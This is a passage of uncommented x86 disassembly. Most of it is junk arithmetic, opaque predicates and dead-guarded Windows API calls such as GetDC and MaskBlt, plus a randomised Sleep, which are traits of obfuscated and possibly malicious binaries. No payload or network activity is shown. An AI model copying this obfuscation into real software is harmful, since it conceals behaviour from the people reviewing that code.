cmp dword [ebp - 0x508], 1
jge 0x446a9a
mov eax, dword [ebp - 0x508]
mov dword [ebp + eax*4 - 0x28], 0x35568345
jmp 0x446a74
mov dword [ebp - 0x1ec], 0
jmp 0x446ab3
mov eax, dword [ebp - 0x1ec]
inc eax
mov dword [ebp - 0x1ec], eax
cmp dword [ebp - 0x1ec], 0
jg 0x446fde
mov dword [ebp - 8], 0x738ab659
mov dword [ebp - 0x1d08], 1
mov dword [ebp - 0x20b8], 0xffffffff
mov dword [ebp - 0x20b4], 0xffffffff
mov dword [ebp - 0x20b0], 0xffffffff
mov dword [ebp - 0x20ac], 0xffffffff
mov dword [ebp - 0xb90], 0
mov byte [ebp - 0x255], 0
movzx eax, byte [ebp - 0x255]
test eax, eax
je 0x446b1d
push 0
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov dword [ebp - 8], 0
jmp 0x446b2d
mov eax, dword [ebp - 8]
dec eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jl 0x446fd9
mov dword [ebp - 0x4c4], 0x52e2cc7b
mov dword [ebp - 0x8a0], 0
jmp 0x446b5a
mov eax, dword [ebp - 0x8a0]
inc eax
mov dword [ebp - 0x8a0], eax
cmp dword [ebp - 0x8a0], 1
jge 0x446b76
mov eax, dword [ebp - 0x8a0]
mov dword [ebp + eax*4 - 0x1d00], 0xfff8
jmp 0x446b4d
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x28], 0
je 0x446bd6
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x1ec]
cmp dword [ebp + eax*4 - 0x28], ecx
je 0x446b9e
mov dword [ebp - 0x1cc4], 1
jmp 0x446ba5
and dword [ebp - 0x1cc4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x28]
mov dword [ebp - 0x26d0], eax
mov eax, dword [ebp - 8]
push 4
pop ecx
imul ecx, ecx, 0
imul eax, dword [ebp + ecx - 0x28]
cmp eax, 0xc17c7747
jae 0x446bd6
mov dword [ebp - 0x15ec], 1
jmp 0x446bdd
and dword [ebp - 0x15ec], 0
mov eax, dword [ebp - 8]
mov eax, dword [ebp + eax*4 - 0x28]
sub eax, dword [ebp - 0x15ec]
je 0x446bfe
cmp dword [ebp - 8], 0
je 0x446bfe
mov dword [ebp - 0x1ccc], 1
jmp 0x446c05
and dword [ebp - 0x1ccc], 0
mov eax, dword [ebp - 8]
mov eax, dword [ebp + eax*4 - 0x28]
mov dword [ebp - 0x26d8], eax
mov eax, dword [ebp - 8]
mov eax, dword [ebp + eax*4 - 0x28]
mov dword [ebp - 0x26e0], eax
mov eax, dword [ebp - 0x1ec]
push 4
pop ecx
imul ecx, ecx, 0
sub eax, dword [ebp + ecx - 0x28]
je 0x446da6
mov dword [ebp - 0x510], 0
jmp 0x446c4e
mov eax, dword [ebp - 0x510]
inc eax
mov dword [ebp - 0x510], eax
cmp dword [ebp - 0x510], 3
jge 0x446c6a
mov eax, dword [ebp - 0x510]
mov dword [ebp + eax*4 - 0x2a18], 0x8a57461d
jmp 0x446c41
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x28], 0x62a
je 0x446c86
mov dword [ebp - 0xb60], 1
jmp 0x446c8d
and dword [ebp - 0xb60], 0
mov eax, dword [ebp - 8]
mov eax, dword [ebp + eax*4 - 0x28]
mov dword [ebp - 0x26e8], eax
mov eax, dword [ebp - 8]
imul eax, dword [ebp - 8]
sub eax, 0x30eca6d7
imul eax, eax, 0x1a53
test eax, eax
jne 0x446cc3
mov eax, dword [ebp - 8]
cmp dword [ebp + eax*4 - 0x28], 0
jne 0x446cc3
and dword [ebp - 0x1cd4], 0
jmp 0x446ccd
mov dword [ebp - 0x1cd4], 1
mov eax, dword [ebp - 8]
mov eax, dword [ebp + eax*4 - 0x28]
mov dword [ebp - 0x26f0], eax
mov eax, 0x5e13
test eax, eax
jne 0x446cf8
mov eax, 0x6aa1dd5c
test eax, eax
jne 0x446cf8
mov dword [ebp - 0xb58], 1
jmp 0x446cff
and dword [ebp - 0xb58], 0
mov eax, dword [ebp - 8]
mov eax, dword [ebp + eax*4 - 0x28]
cmp dword [ebp - 0xb58], eax
je 0x446d1a
mov dword [ebp - 0x1260], 1
jmp 0x446d21
and dword [ebp - 0x1260], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1260]
sub ecx, dword [ebp + eax - 0x2a18]
cmp ecx, 0xb7228d02
jbe 0x446d48
mov dword [ebp - 0x179c], 1
jmp 0x446d4f
and dword [ebp - 0x179c], 0
mov eax, dword [ebp - 0xb60]
cmp eax, dword [ebp - 0x179c]
jg 0x446d69
mov dword [ebp - 0xb68], 1
jmp 0x446d70
and dword [ebp - 0xb68], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x28]
cmp dword [ebp - 0xb68], eax
je 0x446d8e
mov dword [ebp - 0x1268], 1
jmp 0x446d95
and dword [ebp - 0x1268], 0
mov eax, dword [ebp - 0x1268]
mov dword [ebp - 0x4c4], eax
jmp 0x446fd4
mov dword [ebp - 0x8c8], 0x67e6007b
cmp dword [ebp - 8], 0xfffe
ja 0x446dc5
mov dword [ebp - 0x15f4], 1
jmp 0x446dcc
and dword [ebp - 0x15f4], 0
mov eax, dword [ebp - 0x8c8]
mov dword [ebp - 0x26f8], eax
mov eax, dword [ebp - 0x4c4]
mov dword [ebp - 0xb70], eax
mov eax, dword [ebp - 0x4c4]
cmp dword [ebp - 0xb70], eax
jne 0x446dfe
mov dword [ebp - 0xb78], 1
jmp 0x446e05
and dword [ebp - 0xb78], 0
mov eax, dword [ebp - 0x15f4]
cmp eax, dword [ebp - 0xb78]
je 0x446e1f
mov dword [ebp - 0x1270], 1
jmp 0x446e26
and dword [ebp - 0x1270], 0
mov eax, dword [ebp - 0x1270]
add eax, 7
mov ecx, dword [ebp - 8]
cmp eax, dword [ebp + ecx*4 - 0x28]
je 0x446e44
mov dword [ebp - 0xb80], 1
jmp 0x446e4b
and dword [ebp - 0xb80], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xb80]
sub ecx, dword [ebp + eax - 0x1d00]
mov dword [ebp - 0x1d08], ecx
mov eax, dword [ebp - 0x1ec]
cmp dword [ebp - 8], eax
jg 0x446e7f
push 8
pop eax
test eax, eax
jne 0x446e7f
and dword [ebp - 0x1874], 0
jmp 0x446e89
mov dword [ebp - 0x1874], 1
mov eax, dword [ebp - 8]
cmp dword [ebp - 0x1874], eax
je 0x446ea0
mov dword [ebp - 0x9ec], 1
jmp 0x446ea7
and dword [ebp - 0x9ec], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x9ec]
mov dword [ebp + eax - 0x20b8], ecx
mov eax, dword [ebp - 8]
mov eax, dword [ebp + eax*4 - 0x28]
cmp dword [ebp - 0x9ec], eax
jne 0x446ed5
mov dword [ebp - 0x1d10], 1
jmp 0x446edc
and dword [ebp - 0x1d10], 0
mov eax, dword [ebp - 0x8c8]
mov dword [ebp - 0x2700], eax
push 4
pop eax
imul eax, eax, 0
imul eax, dword [ebp + eax - 0x28], 0x46c4
cmp eax, dword [ebp - 0x8c8]
je 0x446f0c
xor eax, eax
inc eax
jne 0x446f0c
and dword [ebp - 0xb88], 0
jmp 0x446f16
mov dword [ebp - 0xb88], 1
cmp dword [ebp - 0xb88], 0xfcec4ee8
jb 0x446f2e
mov dword [ebp - 0x1278], 1
jmp 0x446f35
and dword [ebp - 0x1278], 0
mov eax, dword [ebp - 0x1278]
mov dword [ebp - 0xb90], eax
mov eax, dword [ebp - 0x4c4]
cmp dword [ebp - 0xb90], eax
jg 0x446f5b
mov dword [ebp - 0x15fc], 1
jmp 0x446f62
and dword [ebp - 0x15fc], 0
cmp dword [ebp - 0x15fc], 0xe773
jl 0x446f7a
mov dword [ebp - 0xb98], 1
jmp 0x446f81
and dword [ebp - 0xb98], 0
mov eax, dword [ebp - 0xb98]
add eax, 0xb12b
je 0x446fa3
cmp dword [ebp - 0x1ec], 0
je 0x446fa3
mov dword [ebp - 0x1280], 1
jmp 0x446faa
and dword [ebp - 0x1280], 0
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x1280]
je 0x446fc1
mov dword [ebp - 0xba0], 1
jmp 0x446fc8
and dword [ebp - 0xba0], 0
mov eax, dword [ebp - 0xba0]
mov dword [ebp - 0x4c4], eax
jmp 0x446b26
jmp 0x446aa6
cmp dword [ebp - 0xc8], 0x7d26
jne 0x446ff6
mov dword [ebp - 0x17a4], 1
jmp 0x446ffd
and dword [ebp - 0x17a4], 0
mov eax, dword [ebp - 0xc8]
cmp dword [ebp - 0x17a4], eax
je 0x447017
mov dword [ebp - 0xba8], 1
jmp 0x44701e
and dword [ebp - 0xba8], 0
cmp dword [ebp - 0xba8], 0xffffffff
jle 0x447033
mov dword [ebp - 0x1288], 1
jmp 0x44703a
and dword [ebp - 0x1288], 0
mov eax, dword [ebp - 0xc8]
cmp dword [ebp - 0x1288], eax
jge 0x447054
mov dword [ebp - 0xbb0], 1
jmp 0x44705b
and dword [ebp - 0xbb0], 0
cmp dword [ebp - 0xbb0], 9
jl 0x447070
mov dword [ebp - 0x1604], 1
jmp 0x447077
and dword [ebp - 0x1604], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1604]
sub ecx, dword [ebp + eax - 0x110]
imul eax, ecx, 0xe13c
mov dword [ebp - 0xc8], eax
mov eax, dword [ebp - 0xc8]
push 4
pop ecx
imul ecx, ecx, 0
imul eax, dword [ebp + ecx - 0x110]
mov dword [ebp - 0x988], eax
cmp dword [ebp - 0x988], 0
je 0x4470c5
mov dword [ebp - 0x1d18], 1
jmp 0x4470cc
and dword [ebp - 0x1d18], 0
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x110], 1
je 0x4470e8
mov dword [ebp - 0xbb8], 1
jmp 0x4470ef
and dword [ebp - 0xbb8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x110]
cmp dword [ebp - 0xbb8], eax
jle 0x447110
mov dword [ebp - 0x1290], 1
jmp 0x447117
and dword [ebp - 0x1290], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x110]
cmp dword [ebp - 0x1290], eax
jne 0x447135
cmp dword [ebp - 0x988], 0
jne 0x447147
cmp dword [ebp - 0xc8], 0
jne 0x447147
and dword [ebp - 0xbc0], 0
jmp 0x447151
mov dword [ebp - 0xbc0], 1
cmp dword [ebp - 0xbc0], 1
jg 0x447166
mov dword [ebp - 0x192c], 1
jmp 0x44716d
and dword [ebp - 0x192c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x110]
cmp dword [ebp - 0x192c], eax
jge 0x44718e
mov dword [ebp - 0xbc8], 1
jmp 0x447195
and dword [ebp - 0xbc8], 0
cmp dword [ebp - 0xbc8], 2
jne 0x4471aa
mov dword [ebp - 0x8d0], 1
jmp 0x4471b1
and dword [ebp - 0x8d0], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x8d0]
mov dword [ebp + eax - 0x1d20], ecx
imul eax, dword [ebp - 0x8d0], 0x708e
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x110]
jne 0x4471f0
push 5
pop eax
test eax, eax
je 0x4471f0
mov dword [ebp - 0x1298], 1
jmp 0x4471f7
and dword [ebp - 0x1298], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x110]
cmp dword [ebp - 0x1298], eax
jne 0x447218
mov dword [ebp - 0xbd0], 1
jmp 0x44721f
and dword [ebp - 0xbd0], 0
mov eax, dword [ebp - 0xbd0]
mov dword [ebp - 0x1d28], eax
mov dword [ebp - 0x1c4], 1
mov dword [ebp - 0x264], 0
mov dword [ebp - 0x1d38], 1
mov dword [ebp - 0x1d40], 0x6c5051dd
mov dword [ebp - 0x1c4], 2
jmp 0x44726c
mov eax, dword [ebp - 0x1c4]
dec eax
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 0xfffffffa
jl 0x44728c
mov dword [ebp - 0x1d30], 0xfffffffd
cmp dword [ebp - 0x1d30], 0
je 0x44728a
jmp 0x44728c
jmp 0x44725f
cmp dword [ebp - 0x1c4], 0
je 0x447335
cmp dword [ebp - 0x264], 0
jne 0x4472fa
mov eax, dword [ebp - 0x264]
mov dword [ebp - 0x2708], eax
cmp dword [ebp - 0x264], 0
je 0x4472c8
xor eax, eax
inc eax
je 0x4472c8
mov dword [ebp - 0x160c], 1
jmp 0x4472cf
and dword [ebp - 0x160c], 0
mov eax, dword [ebp - 0x160c]
add eax, 0xd14c
cmp eax, 0xe1c5
jle 0x4472fa
mov eax, 0xa9bca7b
test eax, eax
jne 0x4472fa
cmp dword [ebp - 0x264], 0
jne 0x4472fa
cmp dword [ebp - 0x264], 0
cmp dword [ebp - 0x1d38], 0x551fa4c8
jg 0x447312
mov dword [ebp - 0xbd8], 1
jmp 0x447319
and dword [ebp - 0xbd8], 0
imul eax, dword [ebp - 0xbd8], 0x120d
mov dword [ebp - 0x1c4], eax
mov eax, dword [ebp - 0x1c4]
cmp dword [ebp - 0x264], eax
mov eax, dword [ebp - 0x1c4]
imul eax, dword [ebp - 0x264]
mov dword [ebp - 0x1d40], eax
cmp dword [ebp + 8], 2
jl 0x45065f
mov dword [ebp - 0x7a8], 0xe56f9b2c
mov dword [ebp - 0x12a0], 0x8ce22955
mov dword [ebp - 0x40], 0
jmp 0x447376
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 1
jge 0x44738c
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x1d48], 0xbdde0bcd
jmp 0x44736f
mov dword [ebp - 0x40], 0
jmp 0x44739c
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 2
jge 0x4473b2
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x2a68], 0x2215256e
jmp 0x447395
mov dword [ebp - 0x40], 0
jmp 0x4473c2
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 4
jge 0x4473d8
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x2c60], 0xffffffff
jmp 0x4473bb
mov dword [ebp - 0x7a8], 0
jmp 0x4473f1
mov eax, dword [ebp - 0x7a8]
dec eax
mov dword [ebp - 0x7a8], eax
cmp dword [ebp - 0x7a8], 0
jl 0x44757e
mov dword [ebp - 0x518], 9
mov dword [ebp - 0x518], 0
jmp 0x447421
mov eax, dword [ebp - 0x518]
dec eax
mov dword [ebp - 0x518], eax
cmp dword [ebp - 0x518], 0
jl 0x447579
mov dword [ebp - 0x828], 0x5a60d005
mov dword [ebp - 0x828], 0
jmp 0x447451
mov eax, dword [ebp - 0x828]
dec eax
mov dword [ebp - 0x828], eax
cmp dword [ebp - 0x828], 0
jl 0x447574
mov dword [ebp - 0x520], 0
jmp 0x447477
mov eax, dword [ebp - 0x520]
inc eax
mov dword [ebp - 0x520], eax
cmp dword [ebp - 0x520], 1
jge 0x447493
mov eax, dword [ebp - 0x520]
mov dword [ebp + eax*4 - 0x7b0], 0xcdead9ba
jmp 0x44746a
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x7b0], 0
jmp 0x4474c1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x7b0]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x7b0], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x7b0], 0
jg 0x447544
mov dword [ebp - 0x528], 0x8fdeb772
mov dword [ebp - 0x528], 0
jmp 0x4474f4
mov eax, dword [ebp - 0x528]
inc eax
mov dword [ebp - 0x528], eax
cmp dword [ebp - 0x528], 0
jg 0x44753f
mov dword [ebp - 0x490], 1
mov dword [ebp - 0x490], 0
jmp 0x447520
mov eax, dword [ebp - 0x490]
inc eax
mov dword [ebp - 0x490], eax
cmp dword [ebp - 0x490], 0
jg 0x44753d
mov eax, dword [ebp - 0x490]
cmp dword [ebp + eax*4 - 0x1d48], 0
je 0x44753b
jmp 0x44753d
jmp 0x447513
jmp 0x4474e7
jmp 0x4474a6
mov byte [ebp - 0x2ed], 0
movzx eax, byte [ebp - 0x2ed]
test eax, eax
je 0x44756f
push 0x1178
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
jmp 0x447444
jmp 0x447414
jmp 0x4473e4
mov eax, dword [ebp - 0x12a0]
inc eax
mov dword [ebp - 0x12a0], eax
mov dword [ebp - 0x3f8], 0
mov dword [ebp - 0x1d50], 0xba1bf2b
mov dword [ebp - 0x2710], 0xc25fa5fe
mov dword [ebp - 0x868], 0
jmp 0x4475c2
mov eax, dword [ebp - 0x868]
inc eax
mov dword [ebp - 0x868], eax
cmp dword [ebp - 0x868], 1
jge 0x4475de
mov eax, dword [ebp - 0x868]
mov dword [ebp + eax*4 - 0x1d58], 0x5b57fd54
jmp 0x4475b5
mov dword [ebp - 0x3f8], 0
jmp 0x4475f7
mov eax, dword [ebp - 0x3f8]
dec eax
mov dword [ebp - 0x3f8], eax
cmp dword [ebp - 0x3f8], 0
jl 0x44761e
mov dword [ebp - 0x1d50], 0
mov eax, dword [ebp - 0x3f8]
cmp dword [ebp + eax*4 - 0x1d58], 0
je 0x44761c
jmp 0x4475ea
jmp 0x4475ea
mov dword [ebp - 0x204], 0xf46d
mov dword [ebp - 0xec], 0
mov dword [ebp - 0x1dbc], 0x679b
mov dword [ebp - 0xc10], 0
mov dword [ebp - 0x530], 0
jmp 0x44765f
mov eax, dword [ebp - 0x530]
inc eax
mov dword [ebp - 0x530], eax
cmp dword [ebp - 0x530], 3
jge 0x44767b
mov eax, dword [ebp - 0x530]
mov dword [ebp + eax*4 - 0x27a0], 0
jmp 0x447652
mov eax, dword [ebp - 0x204]
mov dword [ebp - 0x2718], eax
mov eax, dword [ebp - 0xec]
mov dword [ebp - 0x2720], eax
cmp dword [ebp - 0x204], 0
jne 0x4476ae
cmp dword [ebp - 0xec], 0
jne 0x4476ae
and dword [ebp - 0xbe0], 0
jmp 0x4476b8
mov dword [ebp - 0xbe0], 1
mov eax, dword [ebp - 0xbe0]
sub eax, dword [ebp - 0x204]
add eax, 0x6e7f737a
cmp dword [ebp - 0x204], eax
je 0x4476dd
mov dword [ebp - 0x17ac], 1
jmp 0x4476e4
and dword [ebp - 0x17ac], 0
cmp dword [ebp - 0x17ac], 0x2aee
jge 0x447702
cmp dword [ebp - 0x204], 0
jne 0x447702
and dword [ebp - 0xbe8], 0
jmp 0x44770c
mov dword [ebp - 0xbe8], 1
mov eax, dword [ebp - 0x204]
cmp eax, dword [ebp - 0xbe8]
jne 0x447726
mov dword [ebp - 0x12a8], 1
jmp 0x44772d
and dword [ebp - 0x12a8], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x12a8]
mov dword [ebp + eax - 0x27a0], ecx
mov dword [ebp - 0xec], 0
jmp 0x447759
cmp dword [ebp - 0xec], 0x1e
jl 0x447984
mov dword [ebp - 0xa8], 0x3691f6f4
mov dword [ebp - 0x187c], 0x7b78f18b
mov dword [ebp - 0x2728], 0xec53312a
mov dword [ebp - 0x2730], 1
mov dword [ebp - 0x2738], 1
mov eax, dword [ebp - 0xa8]
mov dword [ebp - 0x2740], eax
xor eax, eax
inc eax
je 0x447825
mov eax, dword [ebp - 0xec]
mov dword [ebp - 0x2748], eax
mov eax, dword [ebp - 0x1dbc]
cmp dword [ebp - 0xec], eax
jne 0x4477cf
mov dword [ebp - 0xbf0], 1
jmp 0x4477d6
and dword [ebp - 0xbf0], 0
mov eax, dword [ebp - 0xa8]
cmp dword [ebp - 0xbf0], eax
jg 0x4477f0
mov dword [ebp - 0x1614], 1
jmp 0x4477f7
and dword [ebp - 0x1614], 0
mov eax, dword [ebp - 0xa8]
imul eax, dword [ebp - 0x1614]
cmp eax, dword [ebp - 0xa8]
jle 0x447818
mov dword [ebp - 0xbf8], 1
jmp 0x44781f
and dword [ebp - 0xbf8], 0
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp - 0xa8]
cmp dword [ebp - 0x204], eax
jle 0x44783f
mov dword [ebp - 0x12b0], 1
jmp 0x447846
and dword [ebp - 0x12b0], 0
mov eax, dword [ebp - 0xa8]
sub eax, 8
cmp eax, dword [ebp - 0x12b0]
jne 0x447863
mov dword [ebp - 0x1dc4], 1
jmp 0x44786a
and dword [ebp - 0x1dc4], 0
mov eax, dword [ebp - 0xa8]
mov dword [ebp - 0x2750], eax
mov eax, dword [ebp - 0xa8]
mov dword [ebp - 0x2758], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x27a0]
mov dword [ebp - 0x2760], eax
or eax, 0xffffffff
jne 0x4478ac
cmp dword [ebp - 0xec], 0
jne 0x4478ac
mov dword [ebp - 0xc00], 1
imul eax, dword [ebp - 0xc00], 0xfff8
mov dword [ebp - 0xa8], eax
mov eax, dword [ebp - 0x187c]
cmp dword [ebp - 0xa8], eax
jne 0x4478e0
mov dword [ebp - 0x460], 2
mov dword [ebp - 0x1a0], 0
jmp 0x4479a7
mov eax, dword [ebp - 0x1a0]
inc eax
mov dword [ebp - 0x1a0], eax
cmp dword [ebp - 0x1a0], 2
jge 0x4479c3
mov eax, dword [ebp - 0x1a0]
mov dword [ebp + eax*4 - 0x2a78], 0x3342eb9
jmp 0x44799a
mov dword [ebp - 0x1a0], 0
jmp 0x4479dc
cmp dword [ebp - 0x1a0], 1
jge 0x4479f8
mov eax, dword [ebp - 0x1a0]
mov dword [ebp + eax*4 - 0x1dd4], 0x3b1a9565
jmp 0x4479cf
mov dword [ebp - 0x460], 1
jmp 0x447a11
cmp dword [ebp + 8], 1
jne 0x4509ee
mov dword [ebp - 0x1c0], 0xfffffffc
mov dword [ebp - 0x414], 0xffffffff
mov dword [ebp - 0xb34], 0xfffffffa
mov dword [ebp - 0x2020], 1
mov dword [ebp - 0x201c], 1
mov dword [ebp - 0x2018], 1
mov dword [ebp - 0x2014], 1
mov dword [ebp - 0xb74], 0xfffffffc
mov dword [ebp - 0xb64], 0xa7c6dd3e
mov dword [ebp - 0x1b98], 0xfffffff7
mov dword [ebp - 0x87c], 0
jmp 0x4506e6
mov eax, dword [ebp - 0x87c]
inc eax
mov dword [ebp - 0x87c], eax
cmp dword [ebp - 0x87c], 2
jge 0x450702
mov eax, dword [ebp - 0x87c]
mov dword [ebp + eax*4 - 0x1f80], 0xb2faa963
jmp 0x4506d9
mov eax, dword [ebp - 0x1c0]
mov dword [ebp - 0x2328], eax
mov eax, dword [ebp - 0x1c0]
mov dword [ebp - 0x26fc], eax
mov eax, dword [ebp - 0x414]
mov dword [ebp - 0x2330], eax
cmp dword [ebp - 0x414], 0
jne 0x45073b
mov dword [ebp - 0x1b90], 1
jmp 0x450742
and dword [ebp - 0x1b90], 0
cmp dword [ebp - 0x1c0], 1
jl 0x450757
mov dword [ebp - 0xb14], 1
jmp 0x45075e
and dword [ebp - 0xb14], 0
mov eax, dword [ebp - 0x414]
cmp dword [ebp - 0xb14], eax
jge 0x450778
mov dword [ebp - 0xb1c], 1
jmp 0x45077f
and dword [ebp - 0xb1c], 0
cmp dword [ebp - 0xb1c], 0x814b11f3
ja 0x450797
mov dword [ebp - 0xb24], 1
jmp 0x45079e
and dword [ebp - 0xb24], 0
mov eax, dword [ebp - 0x1c0]
cmp eax, dword [ebp - 0xb24]
jle 0x4507b8
mov dword [ebp - 0xb2c], 1
jmp 0x4507bf
and dword [ebp - 0xb2c], 0
mov eax, dword [ebp - 0xb2c]
mov dword [ebp - 0xb34], eax
mov eax, dword [ebp - 0x1c0]
cmp dword [ebp - 0xb34], eax
jge 0x4507e5
mov dword [ebp - 0xb3c], 1
jmp 0x4507ec
and dword [ebp - 0xb3c], 0
mov eax, dword [ebp - 0x1c0]
cmp eax, dword [ebp - 0xb3c]
jle 0x450806
mov dword [ebp - 0x1dc8], 1
jmp 0x45080d
and dword [ebp - 0x1dc8], 0
mov eax, dword [ebp - 0x1c0]
mov dword [ebp - 0xb44], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0xb44]
mov dword [ebp + eax - 0x2020], ecx
cmp dword [ebp - 0xb44], 0xf15c
jge 0x450843
mov dword [ebp - 0xb4c], 1
jmp 0x45084a
and dword [ebp - 0xb4c], 0
mov eax, dword [ebp - 0xb4c]
mov dword [ebp - 0xb74], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x2020]
mov dword [ebp - 0x290c], eax
mov eax, 0x71dbcabe
cmp eax, 6
jne 0x45087e
mov dword [ebp - 0xb54], 1
jmp 0x450885
and dword [ebp - 0xb54], 0
mov eax, dword [ebp - 0x1c0]
cmp dword [ebp - 0xb54], eax
jne 0x45089f
mov dword [ebp - 0xb5c], 1
jmp 0x4508a6
and dword [ebp - 0xb5c], 0
mov eax, dword [ebp - 0xb5c]
mov dword [ebp - 0xb64], eax
mov eax, dword [ebp - 0x414]
cmp dword [ebp - 0xb64], eax
jge 0x4508cc
mov dword [ebp - 0xb6c], 1
jmp 0x4508d3
and dword [ebp - 0xb6c], 0
imul eax, dword [ebp - 0xb6c], 3
test eax, eax
je 0x4508e5
cmp dword [ebp - 0xb74], 0
mov eax, dword [ebp - 0x1b98]
sub eax, 0xfffd
cmp eax, dword [ebp - 0x414]
jne 0x450904
mov dword [ebp - 0xb7c], 1
jmp 0x45090b
and dword [ebp - 0xb7c], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xb7c]
mov dword [ebp + eax - 0x1f80], ecx
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x1f80], 0xfffffffc
call fcn.00445615
mov dword [ebp - 0x2338], 0x799ac789
mov byte [ebp - 0x30d], 0
movzx eax, byte [ebp - 0x30d]
test eax, eax
je 0x4509a1
push 0x152f
push 0x19f5
push 0x1cbe
push 0
push 0x1492
push 0xc24
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0xa5e
push 0xd93
push 0x1501
push 0x9f8
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_MaskBlt]
mov byte [ebp - 0x250], 0
movzx eax, byte [ebp - 0x250]
test eax, eax
je 0x4509ce
push 0
push 0
push 0x1dd8
push 0xd7
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SendDlgItemMessageA]
call fcn.0045b7d2
cdq
push 3
pop ecx
idiv ecx
add edx, 3
imul eax, edx, 0x3e8
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4592d9
mov dword [ebp - 0x884], 0xfffffff8
mov dword [ebp - 0x2704], 0xffffffff
mov dword [ebp - 0x2340], 0xfffffffa
mov dword [ebp - 0x2844], 0xffffffff
mov dword [ebp - 0x2348], 0
mov dword [ebp - 0x270c], 0x312fbb6b
mov dword [ebp - 0x2350], 6
mov dword [ebp - 0x28cc], 0xfffffff7
mov dword [ebp - 0x2358], 1
mov dword [ebp - 0x2714], 0xec326874
mov dword [ebp - 0x2360], 0xfffffffe
mov dword [ebp - 0x284c], 0
mov dword [ebp - 0x2368], 0x3493876a
mov dword [ebp - 0x271c], 0xfffffff8
mov dword [ebp - 0x2370], 0xd19fa553
mov dword [ebp - 0x2970], 0
mov dword [ebp - 0x2378], 0x76fbfcc0
mov dword [ebp - 0x2724], 0xffffffff
mov dword [ebp - 0x6f0], 0
jmp 0x450abb
mov eax, dword [ebp - 0x6f0]
inc eax
mov dword [ebp - 0x6f0], eax
cmp dword [ebp - 0x6f0], 2
jge 0x450ad7
mov eax, dword [ebp - 0x6f0]
mov dword [ebp + eax*4 - 0x2a60], 0xffffffff
jmp 0x450aae
mov dword [ebp - 0x884], 9
jmp 0x450af0
mov eax, dword [ebp - 0x884]
inc eax
mov dword [ebp - 0x884], eax
cmp dword [ebp - 0x884], 0x17
jl 0x450bce
mov dword [ebp - 0x88c], 0
mov dword [ebp - 0x2380], 1
mov dword [ebp - 0x2854], 0xfffffffd
mov dword [ebp - 0x2388], 1
mov dword [ebp - 0x272c], 0x98cafa32
mov dword [ebp - 0x2390], 0xe486aeba
mov dword [ebp - 0xb84], 0x890ba5fc
mov dword [ebp - 0x6f8], 0
jmp 0x450b5c
mov eax, dword [ebp - 0x6f8]
inc eax
mov dword [ebp - 0x6f8], eax
cmp dword [ebp - 0x6f8], 3
jge 0x450b78
mov eax, dword [ebp - 0x6f8]
mov dword [ebp + eax*4 - 0x2be4], 1
jmp 0x450b4f
mov dword [ebp - 0x88c], 0
jmp 0x450b91
mov eax, dword [ebp - 0x88c]
inc eax
mov dword [ebp - 0x88c], eax
cmp dword [ebp - 0x88c], 0x19
jle 0x450bbc
mov dword [ebp - 0x1d04], 0x5912
mov dword [ebp - 0x1ba0], 4
mov eax, dword [ebp - 0x1d04]
mov dword [ebp - 0x1ba0], eax
jmp 0x450b84
mov eax, dword [ebp - 0xb84]
dec eax
mov dword [ebp - 0xb84], eax
jmp 0x450ae3
mov dword [ebp - 0x1ba8], 8
mov dword [ebp - 0x42c], 0xfffffffd
mov dword [ebp - 0x894], 0xf2fdad5a
mov dword [ebp - 0x424], 0x2b416c28
mov dword [ebp - 0xb94], 0x4468
